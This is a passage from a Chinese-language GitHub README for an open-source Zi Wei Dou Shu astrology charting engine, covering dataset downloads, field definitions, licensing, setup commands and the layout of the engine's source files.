\n  </tr> \n </tbody> \n</table> \n<p><strong>\u53e3\u5f84\u8bf4\u660e</strong></p> \n<ul> \n <li>\u662f\u672c\u547d\u76d8\u89c6\u56fe\u7684\u89e3\u8bfb\uff1b\u7f51\u7ad9\u4e0a\u6309\u8bfb\u8005\u5f53\u524d\u5e74\u9f84\u6539\u5199\u7684\u53e5\u5b50\u3001\u5404\u7ef4\u672b\u5c3e\u9644\u52a0\u7684\u502a\u5e08\u6cd5\u5219\u6bb5\u3001AI \u89e3\u8bfb\u90fd\u4e0d\u5728\u6570\u636e\u96c6\u91cc\u3002</li> \n <li>\u6309\u65f6\u8fb0\u5e8f\u53f7\u76f4\u63a5\u6392\u76d8\uff0c\u672a\u6309\u51fa\u751f\u5730\u505a\u771f\u592a\u9633\u65f6\u6821\u6b63\u3002</li> \n</ul> \n<h3>\u4e0b\u8f7d\u4e0e\u89e3\u538b</h3> \n<pre><code class=\"language-bash\"># \u4e00\u6b21\u4e0b\u5168\u90e8\uff1agh release download v4.0-13d --repo Renhuai123/ziwei-doushu -p \"ziwei-interp-v4-all.tar\"\n# \u53ea\u8981\u67d0\u51e0\u5e74\u5c31\u53ea\u4e0b\u90a3\u51e0\u5e74\uff0c\u4f8b\u5982 1990 \u5e74\nzstd -d --long=27 year-1990.jsonl.zst          # \u5f97\u5230 year-1990.jsonl\nshasum -a 256 -c SHA256SUMS.txt --ignore-missing # \u6821\u9a8c\n</code></pre> \n<p><code>--long=27</code> \u5fc5\u987b\u5e26\u4e0a\uff08\u538b\u7f29\u65f6\u7528\u4e86\u957f\u7a97\u53e3\uff09\u3002Windows \u53ef\u7528 <a href=\"https://github.com/facebook/zstd/releases\">zstd \u5b98\u65b9\u53d1\u5e03\u5305</a> \u91cc\u7684 zstd.exe\uff0c\u53c2\u6570\u76f8\u540c\u3002</p> \n<h3>\u5f15\u6587\u8bf4\u660e</h3> \n<p>\u89e3\u8bfb\u91cc\u5f15\u7528\u7684\u502a\u6d77\u53a6\u300a\u5929\u7eaa\u300b\u539f\u8bdd<strong>\u4e0d\u5c5e\u4e8e\u672c\u6570\u636e\u96c6\u7684\u6388\u6743\u8303\u56f4</strong>\uff1a\u5b83\u4eec\u662f\u4e3a\u8bf4\u660e\u65ad\u8bed\u51fa\u5904\u800c\u6ce8\u660e\u96c6\u6570\u4e0e\u65f6\u95f4\u7801\u7684\u7b80\u77ed\u5f15\u7528\uff0c\u8457\u4f5c\u6743\u5f52\u539f\u6743\u5229\u4eba\uff1b\u8981\u628a\u8fd9\u4e9b\u539f\u8bdd\u5355\u72ec\u6210\u6279\u4f7f\u7528\uff0c\u6309\u7b2c\u4e94\u7ae0\u502a\u5e08\u539f\u8bdd\u7684 <a href=\"https://raw.githubusercontent.com/Renhuai123/ziwei-doushu/main/docs/tianji-ziwei/LICENSE.md\">CC BY-NC-SA 4.0</a> \u5904\u7406\u3002\u300a\u7d2b\u5fae\u6597\u6570\u5168\u4e66\u300b\u539f\u6587\u5c5e\u516c\u6709\u9886\u57df\u3002</p> \n<h3>\u8bb8\u53ef</h3> \n<p>\u4e0e v3.0 \u76f8\u540c\uff1a<strong>CC BY 4.0\uff0c\u53ef\u81ea\u7531\u5546\u7528\uff0c\u552f\u4e00\u8981\u6c42\u662f\u4fdd\u7559\u6765\u6e90\u6807\u6ce8</strong>\uff08\u4e0a\u9762\u300c\u5f15\u6587\u8bf4\u660e\u300d\u91cc\u7684\u502a\u5e08\u539f\u8bdd\u9664\u5916\uff09\uff0c\u5b8c\u6574\u6761\u6b3e\u89c1 <a href=\"https://raw.githubusercontent.com/Renhuai123/ziwei-doushu/main/DATASET-LICENSE\">DATASET-LICENSE</a>\u3002\u5f15\u7528\u65f6\u8bf7\u5199\uff1a</p> \n<blockquote> \n <p>\u672c\u9879\u76ee\u4f7f\u7528\u4e86 <strong>\u7d2b\u5fae\u6597\u6570\u5f00\u6e90\u89e3\u8bfb\u6570\u636e\u96c6 v4.0</strong>\uff08674,976 \u5f20\u547d\u76d8 \u00d7 13 \u7ef4\uff09 \u6765\u6e90\uff1a<a href=\"https://github.com/Renhuai123/ziwei-doushu\">https://github.com/Renhuai123/ziwei-doushu</a> \u4f5c\u8005\uff1a\u738b\u591a\u9c7cAI</p> \n</blockquote> \n<hr /> \n<h2>\u4e8c\u300151.8 \u4e07\u547d\u76d8\u6837\u672c\u6570\u636e\u96c6</h2> \n<blockquote> \n <p><strong>\u4e0b\u8f7d\u4f4d\u7f6e\uff1a\u672c\u4ed3\u5e93\u53f3\u4fa7 <a href=\"https://github.com/Renhuai123/ziwei-doushu/releases/tag/v3.0-samples\">Releases</a> \u9875\u9762</strong></p> \n</blockquote> \n<p>\u6211\u4eec\u5f00\u6e90\u4e86\u4e00\u5957\u5b8c\u6574\u7684\u7d2b\u5fae\u6597\u6570\u547d\u76d8\u6837\u672c\u6570\u636e\u96c6\uff0c\u8986\u76d6 <strong>51.8 \u4e07\u79cd\u6392\u76d8\u7ec4\u5408</strong>\uff08\u5e74 60 \u00d7 \u6708 12 \u00d7 \u65e5 30 \u00d7 \u65f6 12 \u00d7 \u6027\u522b 2\uff09\uff0c\u6bcf\u6761\u6837\u672c\u5305\u542b\u5b8c\u6574\u7684\u547d\u76d8\u7ed3\u6784\u548c\u57fa\u4e8e\u502a\u6d77\u53a6\u4f53\u7cfb\u7684\u89e3\u8bfb\u6587\u672c\u3002</p> \n<h3>2.1 \u6570\u636e\u89c4\u683c</h3> \n<table> \n <thead> \n  <tr> \n   <th>\u9879\u76ee</th> \n   <th>\u8bf4\u660e</th> \n  </tr> \n </thead> \n <tbody> \n  <tr> \n   <td>\u6837\u672c\u6570\u91cf</td> \n   <td><strong>518,400 \u6761</strong></td> \n  </tr> \n  <tr> \n   <td>\u603b\u5927\u5c0f</td> \n   <td>\u538b\u7f29\u540e 5.5 GB\uff08\u5206 3 \u5377\uff09\uff0c\u89e3\u538b\u540e 33.1 GB</td> \n  </tr> \n  <tr> \n   <td>\u4f53\u7cfb</td> \n   <td>\u502a\u6d77\u53a6\u300a\u5929\u7eaa\u300b\u6b63\u7edf\uff08\u7eaf\u98de\u661f\u6d3e\u5df2\u4e0b\u7ebf\uff09</td> \n  </tr> \n  <tr> \n   <td>\u5185\u5bb9</td> \n   <td>\u547d\u76d8 JSON + 13 \u4e3b\u9898\u89e3\u8bfb\u6587\u672c\uff08\u547d\u683c\u603b\u89c8\u3001\u8d22\u8fd0\u3001\u4e8b\u4e1a\u3001\u611f\u60c5\u3001\u5065\u5eb7\u7b49\uff09</td> \n  </tr> \n  <tr> \n   <td>\u9a8c\u8bc1</td> \n   <td>\u7537\u5973\u547d\u5dee\u5f02\u5316 100%\u3001\u5065\u5eb7\u542b\u5b50\u5348\u6d41\u6ce8 100%\u3001\u5973\u547d\u542b\u5987\u79d1\u4fdd\u517b 100%</td> \n  </tr> \n  <tr> \n   <td>\u53e3\u5f84</td> \n   <td>\u7531 <strong>v3 \u7248\u6392\u76d8\u5f15\u64ce + \u5f53\u671f\u65ad\u8bed\u5e93</strong>\u751f\u6210\uff1b\u7ebf\u4e0a\u5f15\u64ce\u5728\u6301\u7eed\u66f4\u65b0\uff0c\u65b0\u7248\u8f93\u51fa\u4e0e\u672c\u6570\u636e\u96c6\u53ef\u80fd\u6709\u5dee\u5f02</td> \n  </tr> \n </tbody> \n</table> \n<p><strong>\u5b57\u6bb5\u53e3\u5f84</strong>\uff08\u6bcf\u6761\u6837\u672c\u7531 <code>birthInfo</code> \u751f\u6210\uff0c\u5e38\u88ab\u770b\u9519\u7684\u662f <code>hour</code>\uff09\uff1a</p> \n<table> \n <thead> \n  <tr> \n   <th>\u5b57\u6bb5</th> \n   <th>\u542b\u4e49</th> \n  </tr> \n </thead> \n <tbody> \n  <tr> \n   <td><code>birthInfo.year</code> / <code>month</code> / <code>day</code></td> \n   <td><strong>\u516c\u5386</strong>\u51fa\u751f\u65e5\u671f\uff1a1924\u20131983 \u5e74\uff08\u4e00\u4e2a\u5b8c\u6574\u7532\u5b50\uff09\uff0c\u6bcf\u6708\u53d6 1\u201330 \u65e5</td> \n  </tr> \n  <tr> \n   <td><code>birthInfo.hour</code></td> \n   <td><strong>\u65f6\u8fb0\u5e8f\u53f7 0\u201311</strong>\uff0c\u4e0d\u662f 0\u201323 \u70b9\u949f\uff1a\u5b50 = 0\u3001\u4e11 = 1 \u2026\u2026 \u4ea5 = 11</td> \n  </tr> \n  <tr> \n   <td><code>birthInfo.gender</code></td> \n   <td><code>male</code> / <code>female</code></td> \n  </tr> \n  <tr> \n   <td><code>birthInfo.longitude</code></td> \n   <td>\u56fa\u5b9a 120\uff08\u4e1c\u7ecf 120\u00b0\uff0c\u672a\u505a\u5404\u5730\u771f\u592a\u9633\u65f6\u6821\u6b63\uff09</td> \n  </tr> \n  <tr> \n   <td>\u6587\u4ef6\u540d <code>YYYY-MM-DD-hHH-\u6027\u522b.json</code></td> \n   <td>\u5176\u4e2d <code>hHH</code> \u540c\u6837\u662f\u65f6\u8fb0\u5e8f\u53f7\uff0c\u4f8b\u5982 <code>h11</code> \u662f\u4ea5\u65f6\uff0c\u4e0d\u662f\u4e0a\u5348 11 \u70b9</td> \n  </tr> \n </tbody> \n</table> \n<p>\u65f6\u8fb0\u5e8f\u53f7\u4e0e\u949f\u70b9\u5bf9\u7167\uff1a</p> \n<table> \n <thead> \n  <tr> \n   <th>\u5e8f\u53f7</th> \n   <th>0</th> \n   <th>1</th> \n   <th>2</th> \n   <th>3</th> \n   <th>4</th> \n   <th>5</th> \n   <th>6</th> \n   <th>7</th> \n   <th>8</th> \n   <th>9</th> \n   <th>10</th> \n   <th>11</th> \n  </tr> \n </thead> \n <tbody> \n  <tr> \n   <td>\u65f6\u8fb0</td> \n   <td>\u5b50</td> \n   <td>\u4e11</td> \n   <td>\u5bc5</td> \n   <td>\u536f</td> \n   <td>\u8fb0</td> \n   <td>\u5df3</td> \n   <td>\u5348</td> \n   <td>\u672a</td> \n   <td>\u7533</td> \n   <td>\u9149</td> \n   <td>\u620c</td> \n   <td>\u4ea5</td> \n  </tr> \n  <tr> \n   <td>\u949f\u70b9</td> \n   <td>23\u20131</td> \n   <td>1\u20133</td> \n   <td>3\u20135</td> \n   <td>5\u20137</td> \n   <td>7\u20139</td> \n   <td>9\u201311</td> \n   <td>11\u201313</td> \n   <td>13\u201315</td> \n   <td>15\u201317</td> \n   <td>17\u201319</td> \n   <td>19\u201321</td> \n   <td>21\u201323</td> \n  </tr> \n </tbody> \n</table> \n<p>23:00\u201323:59 \u51fa\u751f\uff08\u665a\u5b50\u65f6\uff09\u6309\u6b21\u65e5\u6392\u76d8\u3001\u65f6\u8fb0\u53d6 0\uff1b00:00\u201300:59 \u51fa\u751f\uff08\u65e9\u5b50\u65f6\uff09\u6309\u5f53\u65e5\u6392\u76d8\u3001\u65f6\u8fb0\u540c\u6837\u53d6 0\u3002</p> \n<p><strong>\u5df2\u77e5\u95ee\u9898\uff1a\u7ea6 2,520 \u6761\u6837\u672c\u7684\u65e5\u671f\u5e76\u4e0d\u5b58\u5728\u3002</strong> \u751f\u6210\u65f6\u6bcf\u4e2a\u6708\u90fd\u53d6\u4e86 1\u201330 \u65e5\uff0c\u6240\u4ee5 2 \u6708 30 \u65e5\uff0c\u4ee5\u53ca\u975e\u95f0\u5e74\u7684 2 \u6708 29 \u65e5\u4e5f\u751f\u6210\u4e86\u6837\u672c\uff0c\u5171 105 \u4e2a\u65e5\u671f \u00d7 12 \u65f6\u8fb0 \u00d7 2 \u6027\u522b = 2,520 \u6761\uff0c\u5360 0.49%\u3002v3 \u5f15\u64ce\u9047\u5230\u8fd9\u7c7b\u65e5\u671f\u4e0d\u62a5\u9519\uff0c\u800c\u662f\u987a\u5ef6\u6210 3 \u6708 1\u20132 \u65e5\u6392\u76d8\uff0c\u6240\u4ee5\u8fd9\u4e9b\u6837\u672c\u7684\u5185\u5bb9\u4e0e\u5bf9\u5e94\u7684 3 \u6708 1\u20132 \u65e5\u6837\u672c\u91cd\u590d\u3002\u4f7f\u7528\u65f6\u8bf7\u8fc7\u6ee4\u6389\uff1a<code>month = 2</code> \u4e14 <code>day = 30</code>\uff0c\u6216 <code>month = 2</code> \u4e14 <code>day = 29</code> \u4e14\u8be5\u5e74\u4e0d\u662f\u95f0\u5e74\u3002\u5f15\u64ce\u4ece 2026-10-03 \u8d77\u4f1a\u76f4\u63a5\u62d2\u7edd\u4e0d\u5b58\u5728\u7684\u65e5\u671f\uff0c\u4e0b\u4e00\u7248\u6570\u636e\u96c6\u4e0d\u4f1a\u518d\u6709\u8fd9\u7c7b\u6837\u672c\u3002</p> \n<h3>2.2 \u4e0b\u8f7d\u65b9\u5f0f</h3> \n<p>\u524d\u5f80 <a href=\"https://github.com/Renhuai123/ziwei-doushu/releases/tag/v3.0-samples\">Releases</a> \u4e0b\u8f7d\u4ee5\u4e0b\u6587\u4ef6\uff1a</p> \n<pre><code>ziwei-samples-v3-part1.zip.001  (1.9 GB)\nziwei-samples-v3-part2.zip.002  (1.9 GB)\nziwei-samples-v3-part3.zip.003  (1.8 GB)\nSHA256SUMS.txt                  (\u6821\u9a8c\u6587\u4ef6)\n</code></pre> \n<p>\u4e0b\u8f7d\u540e\u5408\u5e76\u89e3\u538b\uff1a</p> \n<pre><code class=\"language-bash\"># macOS / Linux\ncat ziwei-samples-v3-part*.zip.* &gt; combined.zip\nunzip combined.zip\n\n# Windows (PowerShell)\nGet-Content ziwei-samples-v3-part*.zip.* -Encoding Byte -ReadCount 0 | Set-Content combined.zip -Encoding Byte\nExpand-Archive combined.zip\n</code></pre> \n<h3>2.3 \u7528\u9014</h3> \n<ul> \n <li>\u5fae\u8c03\u5c0f\u6a21\u578b\u7684\u8bad\u7ec3\u8bed\u6599\uff0851.8 \u4e07 input-output \u914d\u5bf9\uff09</li> \n <li>AI \u5bf9\u8bdd\u7684 RAG \u68c0\u7d22\u6e90</li> \n <li>\u4fee\u6539 <code>patterns.ts</code> \u540e\u505a A/B \u57fa\u7ebf\u5bf9\u6bd4</li> \n <li>\u7d2b\u5fae\u6597\u6570\u7814\u7a76\u4e0e\u6570\u636e\u5206\u6790</li> \n</ul> \n<h3>2.4 \u6570\u636e\u8bb8\u53ef\u4e0e\u5f15\u7528</h3> \n<p>\ud83d\udcc2 <strong>\u5b8c\u5168\u5f00\u6e90 \u00b7 \u53ef\u81ea\u7531\u5546\u7528</strong> \u2014\u2014 \u4f60\u53ef\u4ee5\u5728\u4efb\u4f55\u9879\u76ee\u91cc\u4f7f\u7528\u8fd9\u5957\u6570\u636e\uff0c\u5305\u62ec\u4f46\u4e0d\u9650\u4e8e\uff1a</p> \n<ul> \n <li>\u5546\u4e1a\u4ea7\u54c1 / SaaS / \u4ed8\u8d39\u5e94\u7528</li> \n <li>AI \u6a21\u578b\u5fae\u8c03\uff08\u5f00\u6e90\u6216\u95ed\u6e90\u6a21\u578b\u5747\u53ef\uff09</li> \n <li>\u4e8c\u6b21\u5f00\u53d1\u3001\u518d\u5206\u53d1\u3001\u884d\u751f\u6570\u636e\u96c6</li> \n <li>\u5b66\u672f\u7814\u7a76\u3001\u6280\u672f\u535a\u5ba2\u3001\u6559\u5b66\u8bfe\u7a0b</li> \n</ul> \n<p>\u65e0\u9700\u4ed8\u8d39\u3001\u65e0\u9700\u7533\u8bf7\u3001\u65e0\u9700\u4e8b\u5148\u544a\u77e5\u3002</p> \n<p><strong>\u552f\u4e00\u7684\u8981\u6c42\u662f\u4fdd\u7559\u6570\u636e\u6765\u6e90\u6807\u6ce8\uff08attribution\uff09</strong>\uff1a</p> \n<blockquote> \n <p>\u672c\u9879\u76ee\u4f7f\u7528\u4e86 <strong>\u7d2b\u5fae\u6597\u6570\u5f00\u6e90\u6837\u672c\u6570\u636e\u96c6 v3.0</strong>\uff08518,400 \u6761\uff09 \u6765\u6e90\uff1a<a href=\"https://github.com/Renhuai123/ziwei-doushu\">https://github.com/Renhuai123/ziwei-doushu</a> \u4f5c\u8005\uff1a\u738b\u591a\u9c7cAI</p> \n</blockquote> \n<p>\u653e\u5728\u54ea\u91cc\u90fd\u884c\uff1a</p> \n<ul> \n <li><strong>\u7f51\u9875 / \u4ea7\u54c1</strong>\uff1aAbout \u9875 / \u5173\u4e8e\u6211\u4eec / \u6570\u636e\u6765\u6e90 / \u9875\u811a\uff0c\u5199\u4e00\u884c\u94fe\u63a5\u5373\u53ef</li> \n <li><strong>AI \u6a21\u578b</strong>\uff1a\u6a21\u578b\u5361\uff08Model Card\uff09\u6216\u6570\u636e\u96c6\u5361\uff08Dataset Card\uff09\u7684 \"Training Data\" \u5b57\u6bb5</li> \n <li><strong>\u5b66\u672f\u8bba\u6587</strong>\uff1a\u53c2\u8003\u6587\u732e\u6216\u81f4\u8c22\u7ae0\u8282</li> \n <li><strong>\u4e8c\u6b21\u53d1\u5e03\u7684\u6570\u636e\u96c6</strong>\uff1aREADME \u6216 metadata \u6587\u4ef6\u91cc\u6ce8\u660e\u4e0a\u6e38\u6765\u6e90</li> \n</ul> \n<p>\u4ec5\u6b64\u4e00\u6761\uff0c\u5176\u4f59\u90fd\u81ea\u7531\u3002\u5b8c\u6574\u6761\u6b3e\u89c1 <a href=\"https://raw.githubusercontent.com/Renhuai123/ziwei-doushu/main/DATASET-LICENSE\">DATASET-LICENSE</a>\u3002\u5e0c\u671b\u8fd9\u5957\u6570\u636e\u80fd\u5e2e\u4f60\u505a\u51fa\u597d\u4e1c\u897f \u2014\u2014 \u505a\u51fa\u6765\u8bb0\u5f97\u6765\u5c0f\u7ea2\u4e66 / \u6296\u97f3 / \u95f2\u9c7c <strong>@\u738b\u591a\u9c7cAI</strong> \u6253\u4e2a\u62db\u547c \ud83d\udc4b</p> \n<hr /> \n<h2>\u4e09\u3001\u5feb\u901f\u5f00\u59cb</h2> \n<pre><code class=\"language-bash\"># \u514b\u9686\ngit clone https://github.com/Renhuai123/ziwei-doushu.git\ncd ziwei-doushu\n\n# \u5b89\u88c5\u4f9d\u8d56\nnpm install\n\n# \u914d\u7f6e\u73af\u5883\u53d8\u91cf\uff08\u53ea\u770b\u6392\u76d8\u53ef\u4ee5\u8df3\u8fc7\uff1bAI \u914d\u7f6e\u4ec5\u5728\u4f60\u81ea\u5df1\u5b9e\u73b0\u4e86 /api/* \u63a5\u53e3\u65f6\u624d\u7528\u5f97\u4e0a\uff09\ncp .env.example .env.local\n\n# \u542f\u52a8\u5f00\u53d1\u670d\u52a1\u5668\nnpm run dev\n</code></pre> \n<p>\u672c\u5730\u9a8c\u8bc1\uff1a</p> \n<pre><code class=\"language-bash\">npm run typecheck   # TypeScript \u5168\u91cf\u7c7b\u578b\u68c0\u67e5\nnpm test            # \u6392\u76d8\u5f15\u64ce\u56de\u5f52\uff08768 \u76d8 \u00d7 \u7d2b\u5fae\u94c1\u5f8b\u3001\u590f\u4ee4\u65f6\u3001\u7acb\u6625\u8fb9\u754c\u3001\u7ea2\u9e3e\u5929\u559c\u3001\u6837\u672c\u65f6\u8fb0\u4e00\u81f4\u6027\u3001\u65f6\u8fb0\u5e8f\u53f7\u8fb9\u754c\u3001\u65e5\u671f\u5408\u6cd5\u6027\u3001\u540c\u5bab\u53cc\u56db\u5316\uff09\n</code></pre> \n<p>\u6bcf\u6b21 push \u4e0e PR \u90fd\u4f1a\u5728 GitHub Actions \u4e0a\u8dd1\u540c\u4e00\u5957\uff08\u89c1 <a href=\"https://raw.githubusercontent.com/Renhuai123/ziwei-doushu/main/.github/workflows/ci.yml\"><code>.github/workflows/ci.yml</code></a>\uff09\u3002</p> \n<blockquote> \n <p><strong>\u6ce8\u610f\uff1a\u5f00\u6e90\u7248\u4e0d\u542b\u540e\u7aef API \u8def\u7531\u3002</strong>\u6392\u76d8\u3001\u547d\u76d8\u5c55\u793a\u3001\u5408\u76d8\u8d77\u76d8\u90fd\u5728\u6d4f\u89c8\u5668\u91cc\u7528\u672c\u4ed3\u5e93\u7684\u5f15\u64ce\u5b8c\u6210\uff0c<strong>\u4e0d\u9700\u8981\u4efb\u4f55 API Key</strong>\u3002AI \u89e3\u8bfb\uff08<code>/api/interpret</code>\uff09\u548c\u5408\u76d8 AI \u5206\u6790\uff08<code>/api/heming</code>\uff09\u9700\u8981\u4f60\u81ea\u5df1\u5b9e\u73b0\u63a5\u53e3\uff1b\u6ca1\u5b9e\u73b0\u4e4b\u524d\uff0c\u8fd9\u4e24\u5904\u4f1a\u76f4\u63a5\u63d0\u793a\u300c\u5f00\u6e90\u7248\u4e0d\u542b\u8be5\u63a5\u53e3\u300d\uff0c\u914d\u7f6e API Key \u4e5f\u4e0d\u4f1a\u53d8\u6210\u53ef\u7528\uff08#30 \u5c31\u662f\u8fd9\u4e2a\u539f\u56e0\uff09\u3002</p> \n</blockquote> \n<hr /> \n<h2>\u56db\u3001\u6392\u76d8\u5f15\u64ce</h2> \n<p>\u6392\u76d8\u5185\u6838\u5168\u90e8\u5728 <code>lib/ziwei/</code>\u3002</p> \n<h3>4.1 \u80fd\u505a\u5230\u4ec0\u4e48\uff08\u4e0e\u5e38\u89c1\u6392\u76d8\u5e93\u7684\u5dee\u5f02\uff09</h3> \n<table> \n <thead> \n  <tr> \n   <th>\u80fd\u529b</th> \n   <th>\u8bf4\u660e</th> \n  </tr> \n </thead> \n <tbody> \n  <tr> \n   <td><strong>\u771f\u592a\u9633\u65f6\u6821\u6b63</strong></td> \n   <td>\u6309\u51fa\u751f\u5730\u7ecf\u5ea6\u7b97\u65f6\u5dee + \u5747\u65f6\u5dee\uff0c\u907f\u514d\u4e1c\u897f\u5411\u5dee\u4e00\u4e2a\u65f6\u8fb0</td> \n  </tr> \n  <tr> \n   <td><strong>\u4e2d\u56fd\u590f\u4ee4\u65f6</strong></td> \n   <td>1986\u20131991 \u5e74\u7684\u590f\u4ee4\u65f6\u533a\u95f4\u81ea\u52a8\u6263\u9664</td> \n  </tr> \n  <tr> \n   <td><strong>\u95f0\u6708\u56db\u79cd\u53e3\u5f84</strong></td> \n   <td>\u95f0\u6708\u5f52\u524d\u6708 / \u5f52\u540e\u6708 / \u6309\u65e5\u5207\u5206 / \u6309\u672c\u6708\uff0c\u53ef\u914d\u7f6e\uff0c\u4e0d\u5199\u6b7b\u4e00\u6d3e</td> \n  </tr> \n  <tr> \n   <td><strong>\u665a\u5b50\u65f6\u6362\u65e5</strong></td> \n   <td>23:00\u201323:59 \u6309\u6b21\u65e5\u6392\u76d8\u300100:00\u201300:59 \u6309\u672c\u65e5\uff1b\u6362\u65e5\u7b56\u7565\u53ef\u5207\u6362</td> \n  </tr> \n  <tr> \n   <td><strong>\u661f\u66dc\u4eae\u5ea6 7 \u6863</strong></td> \n   <td>\u5e99 / \u65fa / \u5f97 / \u5229 / \u5e73 / \u4e0d / \u9677\uff0c\u53e6\u4fdd\u7559 3 \u6863\u7c97\u5206\u7c7b\u505a\u663e\u793a\u964d\u7ea7</td> \n  </tr> \n  <tr> \n   <td><strong>\u4eae\u5ea6\u6d41\u6d3e\u53ef\u5207\u6362</strong></td> \n   <td>\u4e0d\u540c\u6d41\u6d3e\uff08\u542b\u4e3b\u6d41\u6392\u76d8\u8f6f\u4ef6\u7684\u4e0d\u540c\u7248\u672c\uff09\u5bf9\u8f85\u661f\u4eae\u5ea6\u5224\u6cd5\u4e0d\u4e00\u81f4\uff0c\u505a\u6210\u5f00\u5173\u800c\u975e\u5199\u6b7b</td> \n  </tr> \n  <tr> \n   <td><strong>\u56db\u5316\u4e0e\u98de\u661f</strong></td> \n   <td>\u751f\u5e74\u56db\u5316\u3001\u5927\u9650 / \u6d41\u5e74\u56db\u5316\u3001\u98de\u661f\u81ea\u5316</td> \n  </tr> \n  <tr> \n   <td><strong>\u5341\u4e8c\u795e\u715e</strong></td> \n   <td>\u672c\u547d\u5c42\u6309\u751f\u5e74\u652f\u8d77\uff0c\u6d41\u5e74\u5c42\u6539\u6309\u6d41\u5e74\u652f\u8d77</td> \n  </tr> \n  <tr> \n   <td><strong>\u683c\u5c40\u5224\u5b9a</strong></td> \n   <td>1100+ \u884c\u89c4\u5219\u5e93\uff08\u7d2b\u5e9c\u540c\u5bab\u3001\u65e5\u6708\u5e76\u660e\u3001\u4e03\u6740\u671d\u6597\u7b49\uff09</td> \n  </tr> \n </tbody> \n</table> \n<h3>4.2 \u6587\u4ef6\u600e\u4e48\u5206</h3> \n<table> \n <thead> \n  <tr> \n   <th>\u6587\u4ef6</th> \n   <th>\u8bf4\u660e</th> \n  </tr> \n </thead> \n <tbody> \n  <tr> \n   <td><code>algorithm.ts</code></td> \n   <td>\u5b8c\u6574\u6392\u76d8\u6d41\u7a0b\uff1a\u5b89\u547d\u5bab\u3001\u5b9a\u4e94\u884c\u5c40\u3001\u5b89\u5341\u56db\u4e3b\u661f\u3001\u5b89\u8f85\u661f\u3001\u6392\u5927\u9650\u6d41\u5e74</td> \n  </tr> \n  <tr> \n   <td><code>constants.ts</code></td> \n   <td>\u5929\u5e72\u5730\u652f\u3001\u5341\u56db\u4e3b\u661f\u3001\u8f85\u661f\u5e38\u91cf</td> \n  </tr> \n  <tr> \n   <td><code>sihua.ts</code></td> \n   <td>\u56db\u5316\u98de\u661f\u7cfb\u7edf\uff08\u7984\u6743\u79d1\u5fcc\uff09\uff0c\u542b\u5404\u5929\u5e72\u56db\u5316\u5bf9\u7167\u8868</td> \n  </tr> \n  <tr> \n   <td><code>patterns.ts</code></td> \n   <td><strong>1100+ \u884c\u683c\u5c40\u77e5\u8bc6\u5e93</strong>\uff1a\u7d2b\u5e9c\u540c\u5bab\u3001\u65e5\u6708\u5e76\u660e\u3001\u4e03\u6740\u671d\u6597\u7b49\u7ecf\u5178\u683c\u5c40\u5224\u5b9a\u89c4\u5219</td> \n  </tr> \n  <tr> \n   <td><code>heming-knowledge.ts</code></td> \n   <td>\u5408\u76d8\u65b9\u6cd5\u8bba\uff1a\u502a\u5e08\u4f53\u7cfb\u4e0b\u53cc\u76d8\u6bd4\u5bf9\u903b\u8f91</td> \n  </tr> \n  <tr> \n   <td><code>types.ts</code></td> \n   <td>TypeScript \u7c7b\u578b\u5b9a\u4e49</td> \n  </tr> \n  <tr> \n   <td><code>cities.ts</code></td> \n   <td>\u4e2d\u56fd\u57ce\u5e02\u7ecf\u7eac\u5ea6\uff0c\u7528\u4e8e\u771f\u592a\u9633\u65f6\u6821\u6b63</td> \n  </tr> \n  <tr> \n   <td><code>famous.ts</code></td> \n   <td>\u5386\u53f2\u540d\u4eba\u547d\u76d8\u793a\u4f8b\u6570\u636e</td> \n  </tr> \n  <tr> \n   <td><code>school-data.ts</code> / <code>school-tables.generated.ts</code> / <code>school-config.ts</code></td> \n   <td>\u661f\u66dc\u4eae\u5ea6\u6d41\u6d3e\u6570\u636e\u4e0e\u5bf9\u7167\u8868\u3001\u95f0\u6708\u4e0e\u665a\u5b50\u65f6\u53e3\u5f84\u914d\u7f6e</td> \n  </tr> \n  <tr> \n   <td><code>shier-shen.ts</code></td> \n   <td>\u5341\u4e8c\u795e\u715e\uff08\u672c\u547d\u6309\u751f\u5e74\u652f\u8d77\u3001\u6d41\u5e74\u5c42\u6309\u6d41\u5e74\u652f\u8d77\uff09</td> \n  </tr> \n  <tr> \n   <td><code>true-solar-time.ts</code></td> \n   <td>\u771f\u592a\u9633\u65f6\u6821\u6b63\uff08\u7ecf\u5ea6\u5dee + \u5747\u65f6\u5dee\uff09</td> \n  </tr> \n  <tr> \n   <td><code>dst-cn.ts</code></td> \n   <td>\u4e2d\u56fd 1986\u20131991 \u590f\u4ee4\u65f6\u5e74\u4efd\u4e0e\u533a\u95f4</td> \n  </tr> \n  <tr> \n   <td><code>yunxian-context.ts</code></td> \n   <td>\u8fd0\u9650\u4e0a\u4e0b\u6587\uff08\u542b\u7ae5\u9650\u5904\u7406\uff09</td> \n  </tr> \n  <tr> \n   <td><code>lunar-solar.ts</code></td> \n   <td>\u519c\u5386 / \u516c\u5386\u4e92\u8f6c\u4e0e\u95f0\u6708\u8fb9\u754c clamp</td> \n  </tr> \n </tbody> \n</table> \n<h3>4.3 \u53e4\u7c4d\u539f\u6587\uff08<code>lib/classics/</code>\uff09</h3> \n<ul> \n <li><strong>\u9aa8\u9ad3\u8d4b</strong>\uff08<code>gusuifu.ts</code>\uff09\u2014 \u7d2b\u5fae\u6597\u6570\u6838\u5fc3\u6b4c\u8bc0</li> \n <li><strong>\u7d2b\u5fae\u6597\u6570\u5168\u96c6</strong>\uff08<code>quanji.ts</code>\uff09\u2014 \u6e05\u4ee3\u53e4\u672c</li> \n <li><strong>\u7d2b\u5fae\u6597\u6570\u5168\u4e66</strong>\uff08<code>quanshu.ts</code>\uff09\u2014 \u9648\u5e0c\u5937\u4f20\u672c</li> \n</ul> \n<h3>4.4 SEO \u77e5\u8bc6\u56fe\u8c31\uff08<code>lib/seo/</code>\uff09</h3> \n<p>14 \u4e3b\u661f \u00d7 12 \u5bab\u4f4d\u7684\u7ed3\u6784\u5316\u77e5\u8bc6\u6570\u636e\uff0c\u53ef\u7528\u4e8e\u5185\u5bb9\u751f\u6210\u6216\u77e5\u8bc6\u5e93\u6784\u5efa\u3002</p> \n<hr /> \n<h2>\u4e94\u3001\u502a\u5e08\u300a\u5929\u7eaa\u00b7\u7d2b\u5fae\u6597\u6570\u300b\u539f\u8bdd</h2> \n<p><img alt=\"\u502a\u6d77\u53a6\u300a\u5929\u7eaa\u00b7\u7d2b\u5fae\u6597\u6570\u300b\u4e00\u56fe\u770b\u5168\" src=\"https://raw.githubusercontent.com/Renhuai123/ziwei-doushu/main/docs/tianji-ziwei/overview.png\" /></p> 